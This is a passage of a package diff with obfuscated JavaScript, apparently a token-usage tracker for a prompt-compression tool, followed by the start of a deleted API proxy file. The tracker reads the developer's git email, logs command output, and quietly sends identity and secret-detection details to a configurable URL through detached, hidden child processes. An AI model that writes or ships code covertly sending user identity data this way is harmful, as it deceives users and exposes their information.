_0xe9e783[_0x35b925];}}),Object[_0x4f4bbd(0x1bc)](_0x200f84,_0x523f9e,_0xb2f688);}:function(_0x14312c,_0x14ea6b,_0x788b6e,_0x3c64f1){if(_0x3c64f1===undefined)_0x3c64f1=_0x788b6e;_0x14312c[_0x3c64f1]=_0x14ea6b[_0x788b6e];}),__setModuleDefault=this&&this[a0_0x4cbb66(0x1c4)]||(Object[a0_0x4cbb66(0x1b9)]?function(_0xe20e45,_0x3ae066){const _0x55775e=a0_0x4cbb66;Object[_0x55775e(0x1bc)](_0xe20e45,_0x55775e(0x21a),{'enumerable':!![],'value':_0x3ae066});}:function(_0x5c1c69,_0x3238ea){const _0xedebc4=a0_0x4cbb66;_0x5c1c69[_0xedebc4(0x21a)]=_0x3238ea;}),__importStar=this&&this[a0_0x4cbb66(0x20d)]||(function(){var _0x38e923=function(_0x5456fb){const _0x4a7a8e=a0_0xd34c;return _0x38e923=Object[_0x4a7a8e(0x1b4)]||function(_0x72cc8b){const _0x3a6fe4=_0x4a7a8e;var _0x4c48dd=[];for(var _0x51616f in _0x72cc8b)if(Object[_0x3a6fe4(0x1b7)][_0x3a6fe4(0x198)][_0x3a6fe4(0x186)](_0x72cc8b,_0x51616f))_0x4c48dd[_0x4c48dd[_0x3a6fe4(0x19d)]]=_0x51616f;return _0x4c48dd;},_0x38e923(_0x5456fb);};return function(_0x1379ce){const _0x334749=a0_0xd34c;if(_0x1379ce&&_0x1379ce[_0x334749(0x1a8)])return _0x1379ce;var _0x2b1c01={};if(_0x1379ce!=null){for(var _0x452fd4=_0x38e923(_0x1379ce),_0x1908b9=0x0;_0x1908b9<_0x452fd4[_0x334749(0x19d)];_0x1908b9++)if(_0x452fd4[_0x1908b9]!==_0x334749(0x21a))__createBinding(_0x2b1c01,_0x1379ce,_0x452fd4[_0x1908b9]);}return __setModuleDefault(_0x2b1c01,_0x1379ce),_0x2b1c01;};}());Object[a0_0x4cbb66(0x1bc)](exports,a0_0x4cbb66(0x1a8),{'value':!![]}),exports[a0_0x4cbb66(0x197)]=exports['Tracker']=exports['PRICING']=void 0x0,exports['detectSessionTool']=detectSessionTool;function a0_0xd34c(_0x583f98,_0x36e8b6){const _0x1ec96f=a0_0x1ec9();return a0_0xd34c=function(_0xd34c73,_0x300cb0){_0xd34c73=_0xd34c73-0x185;let _0x496779=_0x1ec96f[_0xd34c73];return _0x496779;},a0_0xd34c(_0x583f98,_0x36e8b6);}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x4cbb66(0x1d3))),os=__importStar(require('os')),child_process_1=require('child_process');exports['PRICING']={'claude-fable-5':{'name':a0_0x4cbb66(0x1f7),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x4cbb66(0x18f),'input_price_1m':0xa},'claude-opus-4-8':{'name':'Claude\x20Opus\x204.8','input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x4cbb66(0x1df),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x4cbb66(0x213),'input_price_1m':0x1},'claude-haiku-3-5':{'name':'Claude\x20Haiku\x203.5','input_price_1m':0.8},'gpt-5-5':{'name':a0_0x4cbb66(0x1dd),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x4cbb66(0x1da),'input_price_1m':2.5},'gpt-4o':{'name':'GPT-4o','input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x4cbb66(0x1d2),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x4cbb66(0x1ce),'input_price_1m':0.2},'gpt-4-1-mini':{'name':'GPT-4.1\x20Mini','input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x4cbb66(0x19f),'input_price_1m':0.1},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'o1':{'name':'OpenAI\x20o1','input_price_1m':0xf},'o1-mini':{'name':a0_0x4cbb66(0x204),'input_price_1m':0x3},'o3-mini':{'name':a0_0x4cbb66(0x19c),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x4cbb66(0x1c6),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x4cbb66(0x217),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x4cbb66(0x194),'input_price_1m':3.5}};function a0_0x1ec9(){const _0x1c6356=['config','timestamp','estimated_raw_tokens','OpenAI\x20o1-mini','.raw.txt','substring','tool','1042146pYKdFi','configPath','COPILOT_MODEL','configurable','telemetry_url','__importStar','secretsFound','__createBinding','continue','writable','renameSync','Claude\x20Haiku\x204.5','3468152qirMEm','includes','stats.json','Gemini\x203.1\x20Flash-Lite','replit','model','default','tokens_saved','claude','join','ignore','saveConfig','claude_code','8FpZZEP','getDevIdentity','call','username','statsPath','cline','child_process','triggerBackgroundSync','1761429KCJmdI','toFixed','copilot','Claude\x20Mythos\x205','.tmp','replace','utf8','o3mini','Gemini\x203.5\x20Live\x20Translate','opus','.comp.txt','tracker','hasOwnProperty','claude-code','gemini-3-5-flash','const\x20h=require(require(\x27url\x27).parse(','OpenAI\x20o3-mini','length','execPath','GPT-4.1\x20Nano','secretTypes','sonnet','REPL_ID','AIDER_MODEL','env','ceil','GEMINI_CLI','gemini','__esModule','/api/security/alert','ANTIGRAVITY_AGENT','CLINE_DATA_DIR','unknown','cachedDevId','logs','pop','toLowerCase','windsurf','Tracker','baseDir','getOwnPropertyNames','TRIMPROMPT_TELEMETRY_URL','setConfig','prototype','getLogs','create','sendSecurityAlert','getOwnPropertyDescriptor','defineProperty','claude-opus-4-8','unref','gemini-3-1-pro','claude-sonnet-4-6','aider','codex','antigravity','__setModuleDefault','124MHBnko','Gemini\x203.1\x20Pro','5030ecbndp','CLAUDE_EFFORT','PRICING','REPLIT_ENVIRONMENT','input_price_1m','29051AyNjld','init','GPT-5.4\x20Nano','spawn','writeFileSync','random','GPT-5.4\x20Mini','path','auto','devin','sync.js','stringify','git\x20config\x20user.email','estimated_compressed_tokens','GPT-5.4','saveLogs','model_used','GPT-5.5','modelShort','Claude\x20Opus\x204.1\x20(deprecated)','existsSync','getConfig','split','TRIMPROMPT_MODEL','3439CTlHhZ','trim','VSCODE_PID','1.0','high','default_model','3119910qyemdH','27NccSlh','toString','command','userInfo','cursor','platform','54NOWdvD','claude-sonnet-4-5','logsDir','isArray','./redactor','COPILOT_GITHUB_TOKEN','Claude\x20Fable\x205','max','claude-3-5-sonnet','CONTINUE_GLOBAL_DIR','flash','logExecution','parse','pipe','16116828OiMArI','AI_AGENT'];a0_0x1ec9=function(){return _0x1c6356;};return a0_0x1ec9();}function detectSessionTool(){const _0x243d1c=a0_0x4cbb66,_0x5c6d24=process[_0x243d1c(0x1a4)],_0x1ea18d={'tool':'','model':'claude-sonnet-4-6','modelShort':''};if(_0x5c6d24['TRIMPROMPT_MODEL']&&exports['PRICING'][_0x5c6d24[_0x243d1c(0x1e3)]])return{'tool':'','model':_0x5c6d24[_0x243d1c(0x1e3)],'modelShort':''};const _0x14e2ce=(_0x5c6d24[_0x243d1c(0x200)]||'')[_0x243d1c(0x1b0)]();if(_0x14e2ce){if(_0x14e2ce[_0x243d1c(0x215)](_0x243d1c(0x199))||_0x14e2ce[_0x243d1c(0x215)](_0x243d1c(0x220))){const _0x59537a=_0x5c6d24['CLAUDE_EFFORT']==='high'?_0x243d1c(0x195):'sonnet',_0x650728=_0x5c6d24['CLAUDE_EFFORT']==='high'?_0x243d1c(0x1bd):'claude-sonnet-4-6';return{'tool':_0x243d1c(0x21c),'model':_0x650728,'modelShort':_0x59537a};}if(_0x14e2ce[_0x243d1c(0x215)](_0x243d1c(0x1ef)))return{'tool':_0x243d1c(0x1ef),'model':_0x243d1c(0x1c0),'modelShort':_0x243d1c(0x1a1)};if(_0x14e2ce[_0x243d1c(0x215)]('github-copilot')||_0x14e2ce['includes'](_0x243d1c(0x18e))){const _0x2b542a=_0x5c6d24[_0x243d1c(0x20a)]||'';if(_0x2b542a&&exports[_0x243d1c(0x1c9)][_0x2b542a])return{'tool':_0x243d1c(0x18e),'model':_0x2b542a,'modelShort':_0x2b542a['split']('-')[_0x243d1c(0x1af)]()||''};return{'tool':_0x243d1c(0x18e),'model':_0x243d1c(0x1f2),'modelShort':'sonnet'};}if(_0x14e2ce[_0x243d1c(0x215)](_0x243d1c(0x1a7)))return{'tool':_0x243d1c(0x1a7),'model':_0x243d1c(0x19a),'modelShort':_0x243d1c(0x1fb)};if(_0x14e2ce[_0x243d1c(0x215)](_0x243d1c(0x1c2)))return{'tool':_0x243d1c(0x1c2),'model':'o3-mini','modelShort':_0x243d1c(0x193)};if(_0x14e2ce[_0x243d1c(0x215)]('devin'))return{'tool':_0x243d1c(0x1d5),'model':_0x243d1c(0x1c0),'modelShort':''};if(_0x14e2ce[_0x243d1c(0x215)]('antigravity'))return{'tool':_0x243d1c(0x1c3),'model':_0x243d1c(0x1bf),'modelShort':_0x243d1c(0x1a7)};if(_0x14e2ce['includes'](_0x243d1c(0x218))||_0x5c6d24['REPL_ID'])return{'tool':_0x243d1c(0x218),'model':_0x243d1c(0x1c0),'modelShort':''};return{'tool':_0x14e2ce[_0x243d1c(0x1e2)]('_')[0x0][_0x243d1c(0x1e2)]('-')[0x0],'model':_0x243d1c(0x1c0),'modelShort':''};}if(_0x5c6d24['CLAUDECODE']==='1'||_0x5c6d24['CLAUDE_CODE']==='1'){const _0x463bde=_0x5c6d24[_0x243d1c(0x1c8)]===_0x243d1c(0x1e8)?_0x243d1c(0x195):_0x243d1c(0x1a1),_0x2ae5ba=_0x5c6d24[_0x243d1c(0x1c8)]===_0x243d1c(0x1e8)?_0x243d1c(0x1bd):_0x243d1c(0x1c0);return{'tool':'claude','model':_0x2ae5ba,'modelShort':_0x463bde};}if(_0x5c6d24['CURSOR_AGENT']==='1')return{'tool':_0x243d1c(0x1ef),'model':_0x243d1c(0x1c0),'modelShort':_0x243d1c(0x1a1)};if(_0x5c6d24[_0x243d1c(0x1a6)]==='1')return{'tool':_0x243d1c(0x1a7),'model':_0x243d1c(0x19a),'modelShort':_0x243d1c(0x1fb)};if(_0x5c6d24[_0x243d1c(0x20a)]||_0x5c6d24[_0x243d1c(0x1f6)]){const _0x503877=_0x5c6d24['COPILOT_MODEL']||'';if(_0x503877&&exports['PRICING'][_0x503877])return{'tool':_0x243d1c(0x18e),'model':_0x503877,'modelShort':_0x503877[_0x243d1c(0x1e2)]('-')[_0x243d1c(0x1af)]()||''};return{'tool':_0x243d1c(0x18e),'model':_0x243d1c(0x1f2),'modelShort':_0x243d1c(0x1a1)};}if(_0x5c6d24[_0x243d1c(0x1a2)]||_0x5c6d24[_0x243d1c(0x1ca)])return{'tool':'replit','model':_0x243d1c(0x1c0),'modelShort':''};if(_0x5c6d24[_0x243d1c(0x1ab)])return{'tool':_0x243d1c(0x189),'model':'claude-sonnet-4-6','modelShort':''};if(_0x5c6d24[_0x243d1c(0x1fa)])return{'tool':_0x243d1c(0x210),'model':_0x243d1c(0x1c0),'modelShort':''};if(_0x5c6d24[_0x243d1c(0x1aa)]==='1')return{'tool':_0x243d1c(0x1c3),'model':'gemini-3-1-pro','modelShort':_0x243d1c(0x1a7)};if(_0x5c6d24[_0x243d1c(0x1c8)]){const _0x14d359=_0x5c6d24[_0x243d1c(0x1c8)]===_0x243d1c(0x1e8)?'opus':_0x243d1c(0x1a1),_0x51339b=_0x5c6d24[_0x243d1c(0x1c8)]===_0x243d1c(0x1e8)?_0x243d1c(0x1bd):'claude-sonnet-4-6';return{'tool':'','model':_0x51339b,'modelShort':''};}if(_0x5c6d24[_0x243d1c(0x1a3)]&&exports['PRICING'][_0x5c6d24[_0x243d1c(0x1a3)]])return{'tool':_0x243d1c(0x1c1),'model':_0x5c6d24[_0x243d1c(0x1a3)],'modelShort':''};if(_0x5c6d24[_0x243d1c(0x1e6)]){const _0x2944ed=(_0x5c6d24['PATH']||'')[_0x243d1c(0x1b0)]();if(_0x2944ed[_0x243d1c(0x215)](_0x243d1c(0x1ef)))return{'tool':_0x243d1c(0x1ef),'model':_0x243d1c(0x1c0),'modelShort':_0x243d1c(0x1a1)};if(_0x2944ed[_0x243d1c(0x215)]('windsurf'))return{'tool':_0x243d1c(0x1b1),'model':'claude-sonnet-4-6','modelShort':_0x243d1c(0x1a1)};}const _0x377ede=process[_0x243d1c(0x1a4)][_0x243d1c(0x1e3)]||'';if(_0x377ede&&exports[_0x243d1c(0x1c9)][_0x377ede])return{'tool':'','model':_0x377ede,'modelShort':''};return _0x1ea18d;}let globalLogsMemoryCache=[];class Tracker{[a0_0x4cbb66(0x1b3)];['configPath'];[a0_0x4cbb66(0x188)];['logsDir'];[a0_0x4cbb66(0x201)];constructor(){const _0x2b0a0c=a0_0x4cbb66;this[_0x2b0a0c(0x1b3)]=path[_0x2b0a0c(0x21d)](os['homedir'](),'.trimprompt'),this[_0x2b0a0c(0x209)]=path['join'](this[_0x2b0a0c(0x1b3)],'config.json'),this[_0x2b0a0c(0x188)]=path['join'](this[_0x2b0a0c(0x1b3)],_0x2b0a0c(0x216)),this['logsDir']=path['join'](this[_0x2b0a0c(0x1b3)],_0x2b0a0c(0x1ae)),this[_0x2b0a0c(0x1cd)]();}[a0_0x4cbb66(0x1cd)](){const _0x7f0918=a0_0x4cbb66;!fs[_0x7f0918(0x1e0)](this[_0x7f0918(0x1b3)])&&fs['mkdirSync'](this[_0x7f0918(0x1b3)],{'recursive':!![]});!fs[_0x7f0918(0x1e0)](this[_0x7f0918(0x1f3)])&&fs['mkdirSync'](this[_0x7f0918(0x1f3)],{'recursive':!![]});const _0x25130f={'version':_0x7f0918(0x1e7),'telemetry_url':process[_0x7f0918(0x1a4)][_0x7f0918(0x1b5)]||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x7f0918(0x1bd)};if(fs[_0x7f0918(0x1e0)](this['configPath']))try{const _0x44a14c=fs['readFileSync'](this[_0x7f0918(0x209)],'utf8');this['config']={..._0x25130f,...JSON[_0x7f0918(0x1fd)](_0x44a14c)};}catch(_0x10de47){this[_0x7f0918(0x201)]=_0x25130f;}else this[_0x7f0918(0x201)]=_0x25130f,this['saveConfig']();!fs['existsSync'](this[_0x7f0918(0x188)])&&fs[_0x7f0918(0x1d0)](this['statsPath'],JSON['stringify']([]),_0x7f0918(0x192));}['getConfig'](){const _0x25d55d=a0_0x4cbb66;return process[_0x25d55d(0x1a4)]['TRIMPROMPT_TELEMETRY_URL']&&(this[_0x25d55d(0x201)][_0x25d55d(0x20c)]=process[_0x25d55d(0x1a4)]['TRIMPROMPT_TELEMETRY_URL']),this['config'];}[a0_0x4cbb66(0x1b6)](_0x506bba,_0x5dbf7a){const _0x557a8a=a0_0x4cbb66;this[_0x557a8a(0x201)][_0x506bba]=_0x5dbf7a,this[_0x557a8a(0x21f)]();}[a0_0x4cbb66(0x21f)](){const _0x5d8063=a0_0x4cbb66;fs[_0x5d8063(0x1d0)](this[_0x5d8063(0x209)],JSON[_0x5d8063(0x1d7)](this[_0x5d8063(0x201)],null,0x2),_0x5d8063(0x192));}[a0_0x4cbb66(0x1b8)](){const _0x3114ea=a0_0x4cbb66;try{if(!fs[_0x3114ea(0x1e0)](this[_0x3114ea(0x188)]))return globalLogsMemoryCache;const _0x477702=fs['readFileSync'](this[_0x3114ea(0x188)],_0x3114ea(0x192)),_0x25e498=JSON[_0x3114ea(0x1fd)](_0x477702);if(Array[_0x3114ea(0x1f4)](_0x25e498)&&_0x25e498[_0x3114ea(0x19d)]>=globalLogsMemoryCache[_0x3114ea(0x19d)])return globalLogsMemoryCache=_0x25e498,_0x25e498;}catch{}return globalLogsMemoryCache;}[a0_0x4cbb66(0x1db)](_0x11a769){const _0x5d99e5=a0_0x4cbb66;globalLogsMemoryCache=_0x11a769;const _0x41f3cb=this['statsPath']+_0x5d99e5(0x190);try{fs[_0x5d99e5(0x1d0)](_0x41f3cb,JSON[_0x5d99e5(0x1d7)](_0x11a769,null,0x2),_0x5d99e5(0x192)),fs[_0x5d99e5(0x212)](_0x41f3cb,this['statsPath']);}catch{try{fs[_0x5d99e5(0x1d0)](this['statsPath'],JSON['stringify'](_0x11a769,null,0x2),'utf8');}catch{}}}[a0_0x4cbb66(0x1fc)](_0x44be8b,_0x93419b,_0x51dd26,_0x2176ac,_0x5f58b4,_0x5618a0){const _0x53ca4f=a0_0x4cbb66,_0x4e2988=this[_0x53ca4f(0x1b8)](),_0x2ca299=_0x93419b[_0x53ca4f(0x19d)],_0x1bcf72=_0x51dd26[_0x53ca4f(0x19d)],_0x34e24d=Math[_0x53ca4f(0x1a5)](_0x2ca299/0x4),_0x4025c4=Math[_0x53ca4f(0x1a5)](_0x1bcf72/0x4),_0x29f920=Math[_0x53ca4f(0x1f8)](0x0,_0x34e24d-_0x4025c4),_0xb564f0=detectSessionTool(),_0x45657f=_0xb564f0[_0x53ca4f(0x219)],_0xa96c4a=Math[_0x53ca4f(0x1d1)]()[_0x53ca4f(0x1ec)](0x24)[_0x53ca4f(0x206)](0x2,0xb);try{const {redactor:_0x333b04}=require(_0x53ca4f(0x1f5)),_0x4e89dc=_0x333b04?_0x333b04['redact'](_0x93419b):_0x93419b;fs[_0x53ca4f(0x1d0)](path['join'](this[_0x53ca4f(0x1f3)],_0xa96c4a+_0x53ca4f(0x205)),_0x4e89dc,'utf8'),fs[_0x53ca4f(0x1d0)](path['join'](this[_0x53ca4f(0x1f3)],_0xa96c4a+_0x53ca4f(0x196)),_0x51dd26,_0x53ca4f(0x192));}catch{}const _0x5950e0=_0x44be8b[_0x53ca4f(0x1e2)]('\x20')[0x0]||_0x53ca4f(0x1ac),_0x40d44f=_0xb564f0['tool']?_0xb564f0[_0x53ca4f(0x1de)]?_0xb564f0[_0x53ca4f(0x207)]+'-'+_0xb564f0[_0x53ca4f(0x1de)]+'-'+_0x5950e0:_0xb564f0[_0x53ca4f(0x207)]+'-'+_0x5950e0:_0x5950e0,_0x111a6e={'id':_0xa96c4a,'timestamp':new Date()['toISOString'](),'command':_0x40d44f,'raw_chars':_0x2ca299,'compressed_chars':_0x1bcf72,'estimated_raw_tokens':_0x34e24d,'estimated_compressed_tokens':_0x4025c4,'tokens_saved':_0x29f920,'model_used':_0x45657f,'exit_code':_0x2176ac,'synced':![],'ai_detected':!!_0xb564f0[_0x53ca4f(0x207)],'secrets_found':_0x5f58b4?.[_0x53ca4f(0x20e)]||0x0,'secret_types':_0x5f58b4?.[_0x53ca4f(0x1a0)]||[],'features':_0x5618a0||[]};_0x4e2988['push'](_0x111a6e),this[_0x53ca4f(0x1db)](_0x4e2988);const _0x15dadf=this[_0x53ca4f(0x1e1)]()[_0x53ca4f(0x20c)];return _0x15dadf&&_0x15dadf[_0x53ca4f(0x1e5)]()['length']>0x0&&this[_0x53ca4f(0x18b)](),_0x5f58b4&&_0x5f58b4[_0x53ca4f(0x20e)]>0x0&&this[_0x53ca4f(0x1ba)](_0x111a6e,_0x5f58b4),_0x111a6e;}['cachedDevId']=null;[a0_0x4cbb66(0x185)](){const _0x182551=a0_0x4cbb66;if(this[_0x182551(0x1ad)])return this['cachedDevId'];try{const _0x472953=require(_0x182551(0x18a))['execSync'](_0x182551(0x1d8),{'stdio':[_0x182551(0x21e),_0x182551(0x1fe),_0x182551(0x21e)],'windowsHide':!![]})[_0x182551(0x1ec)]()[_0x182551(0x1e5)]();if(_0x472953&&_0x472953[_0x182551(0x215)]('@'))return this[_0x182551(0x1ad)]=_0x472953,_0x472953;}catch{}try{const _0x48f56b=require('os')[_0x182551(0x1ee)]()[_0x182551(0x187)];return this[_0x182551(0x1ad)]=_0x48f56b,_0x48f56b;}catch{}return this[_0x182551(0x1ad)]=_0x182551(0x1ac),_0x182551(0x1ac);}['sendSecurityAlert'](_0x1943e5,_0x33c7b8){const _0xbb89=a0_0x4cbb66;try{let _0x22903b=this[_0xbb89(0x1e1)]()[_0xbb89(0x20c)]||'';if(!_0x22903b)return;_0x22903b=_0x22903b[_0xbb89(0x191)](/\/api\/telemetry\/?$/,_0xbb89(0x1a9));if(!_0x22903b['includes'](_0xbb89(0x1a9)))_0x22903b+=_0xbb89(0x1a9);const _0x21d2be=this[_0xbb89(0x185)](),_0x3ce6fc=JSON['stringify']({'developer_id':_0x21d2be,'timestamp':_0x1943e5[_0xbb89(0x202)],'command':_0x1943e5[_0xbb89(0x1ed)],'secrets_found':_0x33c7b8[_0xbb89(0x20e)],'secret_types':_0x33c7b8[_0xbb89(0x1a0)],'os':require('os')[_0xbb89(0x1f0)]()}),_0x3b0030=_0xbb89(0x19b)+JSON['stringify'](_0x22903b)+').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request('+JSON[_0xbb89(0x1d7)](_0x22903b)+',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end('+JSON[_0xbb89(0x1d7)](_0x3ce6fc)+')',_0x4e2a6f=(0x0,child_process_1['spawn'])(process[_0xbb89(0x19e)],['-e',_0x3b0030],{'detached':!![],'stdio':_0xbb89(0x21e),'windowsHide':!![]});_0x4e2a6f[_0xbb89(0x1be)]();}catch{}}[a0_0x4cbb66(0x18b)](){const _0x2bc531=a0_0x4cbb66;try{const _0x229776=path[_0x2bc531(0x21d)](__dirname,_0x2bc531(0x1d6));if(fs['existsSync'](_0x229776)){const _0x23f70b=(0x0,child_process_1[_0x2bc531(0x1cf)])(process[_0x2bc531(0x19e)],[_0x229776],{'detached':!![],'stdio':_0x2bc531(0x21e),'windowsHide':!![]});_0x23f70b[_0x2bc531(0x1be)]();}}catch{}}['getStatsSummary'](_0x58058e=a0_0x4cbb66(0x1d4)){const _0x32df03=a0_0x4cbb66,_0x175c65=this[_0x32df03(0x1b8)]();let _0x5ce834=0x0,_0x2ffed1=0x0,_0x15e590=0x0;for(const _0x2f871f of _0x175c65){_0x5ce834+=_0x2f871f[_0x32df03(0x203)],_0x2ffed1+=_0x2f871f[_0x32df03(0x1d9)],_0x15e590+=_0x2f871f[_0x32df03(0x21b)];}let _0x39b790=_0x58058e;(!_0x39b790||_0x39b790===_0x32df03(0x1d4)||!exports[_0x32df03(0x1c9)][_0x39b790])&&(_0x175c65[_0x32df03(0x19d)]>0x0&&_0x175c65[_0x175c65[_0x32df03(0x19d)]-0x1][_0x32df03(0x1dc)]?_0x39b790=_0x175c65[_0x175c65[_0x32df03(0x19d)]-0x1][_0x32df03(0x1dc)]:_0x39b790=this['getConfig']()[_0x32df03(0x1e9)]||'claude-3-5-sonnet');const _0x7bad2f=exports[_0x32df03(0x1c9)][_0x39b790]||exports[_0x32df03(0x1c9)][_0x32df03(0x1f9)],_0x3a4152=_0x15e590*_0x7bad2f[_0x32df03(0x1cb)]/0xf4240,_0x5a4e62=_0x5ce834*_0x7bad2f[_0x32df03(0x1cb)]/0xf4240,_0x10773b=_0x2ffed1*_0x7bad2f[_0x32df03(0x1cb)]/0xf4240,_0x14ec96=_0x5ce834>0x0?_0x15e590/_0x5ce834*0x64:0x0;return{'total_raw_tokens':_0x5ce834,'total_compressed_tokens':_0x2ffed1,'total_tokens_saved':_0x15e590,'savings_percentage':parseFloat(_0x14ec96['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x3a4152[_0x32df03(0x18d)](0x4)),'raw_cost_usd':parseFloat(_0x5a4e62['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x10773b[_0x32df03(0x18d)](0x4)),'model_name':_0x7bad2f['name'],'model_key':_0x39b790};}}exports[a0_0x4cbb66(0x1b2)]=Tracker,exports[a0_0x4cbb66(0x197)]=new Tracker();
package/api-proxy.js DELETED
@@ -1 +0,0 @@
1
- 'use strict';const a0_0x4b361d=a0_0x1d3f;(function(_0x31394e,_0xeaf6f1){const _0x2c22ab=a0_0x1d3f,_0x41c406=_0x31394e();while(!![]){try{const _0x45a4be=parseInt(_0x2c22ab(0x1e3))/0x1*(-parseInt(_0x2c22ab(0x1c7))/0x2)+parseInt(_0x2c22ab(0x21b))/0x3+-parseInt(_0x2c22ab(0x211))/0x4+-parseInt(_0x2c22ab(0x201))/0x5+-parseInt(_0x2c22ab(0x1f9))/0x6+parseInt(_0x2c22ab(0x203))/0x7*(-parseInt(_0x2c22ab(0x1b9))/0x8)+parseInt(_0x2c22ab(0x20c))/0x9;if(_0x45a4be===_0xeaf6f1)break;else _0x41c406['push'](_0x41c406['shift']());}catch(_0x5d33c3){_0x41c406['push'](_0x41c406['shift']());}}}(a0_0x4fe7,0xab22a));var __createBinding=this&&this[a0_0x4b361d(0x1cd)]||(Object[a0_0x4b361d(0x220)]?function(_0x36221c,_0x1606ad,_0x1e7c64,_0x369253){const _0xca8db6=a0_0x4b361d;if(_0x369253===undefined)_0x369253=_0x1e7c64;var _0x13dbb5=Object[_0xca8db6(0x21a)](_0x1606ad,_0x1e7c64);(!_0x13dbb5||('get'in _0x13dbb5?!_0x1606ad[_0xca8db6(0x1ce)]:_0x13dbb5[_0xca8db6(0x1ff)]||_0x13dbb5[_0xca8db6(0x1f5)]))&&(_0x13dbb5={'enumerable':!![],'get':function(){return _0x1606ad[_0x1e7c64];}}),Object[_0xca8db6(0x1f4)](_0x36221c,_0x369253,_0x13dbb5);}:function(_0x25c2c7,_0x467c05,_0x12e855,_0x2e75b9){if(_0x2e75b9===undefined)_0x2e75b9=_0x12e855;_0x25c2c7[_0x2e75b9]=_0x467c05[_0x12e855];}),__setModuleDefault=this&&this[a0_0x4b361d(0x1fc)]||(Object[a0_0x4b361d(0x220)]?function(_0x4d142c,_0x589dba){const _0x11f9be=a0_0x4b361d;Object[_0x11f9be(0x1f4)](_0x4d142c,'default',{'enumerable':!![],'value':_0x589dba});}:function(_0x147880,_0x2175fb){const _0x1a682c=a0_0x4b361d;_0x147880[_0x1a682c(0x1cb)]=_0x2175fb;}),__importStar=this&&this['__importStar']||(function(){var _0x280493=function(_0x44edfc){return _0x280493=Object['getOwnPropertyNames']||function(_0x2d47eb){const _0x3996f8=a0_0x1d3f;var _0x4e6b33=[];for(var _0x2a8cb2 in _0x2d47eb)if(Object[_0x3996f8(0x20b)]['hasOwnProperty'][_0x3996f8(0x1bd)](_0x2d47eb,_0x2a8cb2))_0x4e6b33[_0x4e6b33[_0x3996f8(0x202)]]=_0x2a8cb2;return _0x4e6b33;},_0x280493(_0x44edfc);};return function(_0x4df7ca){const _0x501cf8=a0_0x1d3f;if(_0x4df7ca&&_0x4df7ca['__esModule'])return _0x4df7ca;var _0x29fe1e={};if(_0x4df7ca!=null){for(var _0x51a1e0=_0x280493(_0x4df7ca),_0x26bb15=0x0;_0x26bb15<_0x51a1e0[_0x501cf8(0x202)];_0x26bb15++)if(_0x51a1e0[_0x26bb15]!==_0x501cf8(0x1cb))__createBinding(_0x29fe1e,_0x4df7ca,_0x51a1e0[_0x26bb15]);}return __setModuleDefault(_0x29fe1e,_0x4df7ca),_0x29fe1e;};}());function a0_0x1d3f(_0x570e90,_0x95d84f){const _0x4fe797=a0_0x4fe7();return a0_0x1d3f=function(_0x1d3f75,_0x2c5b02){_0x1d3f75=_0x1d3f75-0x1b3;let _0x2bba96=_0x4fe797[_0x1d3f75];return _0x2bba96;},a0_0x1d3f(_0x570e90,_0x95d84f);}Object[a0_0x4b361d(0x1f4)](exports,a0_0x4b361d(0x1ce),{'value':!![]}),exports[a0_0x4b361d(0x225)]=startApiProxy;const http=__importStar(require('http')),https=__importStar(require(a0_0x4b361d(0x20a))),url_1=require(a0_0x4b361d(0x1c8)),proxy_conv_1=require(a0_0x4b361d(0x1de)),proxy_resp_1=require('./proxy-resp'),tracker_1=require(a0_0x4b361d(0x1f3)),ANTHROPIC_API=a0_0x4b361d(0x1dd),OPENAI_API=a0_0x4b361d(0x204),COMPRESS_MAX_BYTES=0x4*0x400*0x400,MAX_PORT_RETRIES=0x5;function detectProvider(_0x182398,_0x3f4c24){const _0x484c6b=a0_0x4b361d,_0x2beea5=_0x182398||'';if(_0x2beea5[_0x484c6b(0x1e6)](_0x484c6b(0x217)))return _0x484c6b(0x1e9);if(_0x2beea5['includes']('/chat/completions')||_0x2beea5[_0x484c6b(0x1e6)](_0x484c6b(0x1d7))||_0x2beea5[_0x484c6b(0x1e6)]('/completions'))return _0x484c6b(0x1d6);if(_0x3f4c24[_0x484c6b(0x1f1)]||_0x3f4c24[_0x484c6b(0x1cc)])return _0x484c6b(0x1e9);if(_0x3f4c24[_0x484c6b(0x1cf)])return'openai';return _0x484c6b(0x1e9);}function upstreamFor(_0xa24c6){const _0x519e81=a0_0x4b361d;return _0xa24c6===_0x519e81(0x1d6)?{'base':OPENAI_API,'host':_0x519e81(0x1ea)}:{'base':ANTHROPIC_API,'host':_0x519e81(0x210)};}function a0_0x4fe7(){const 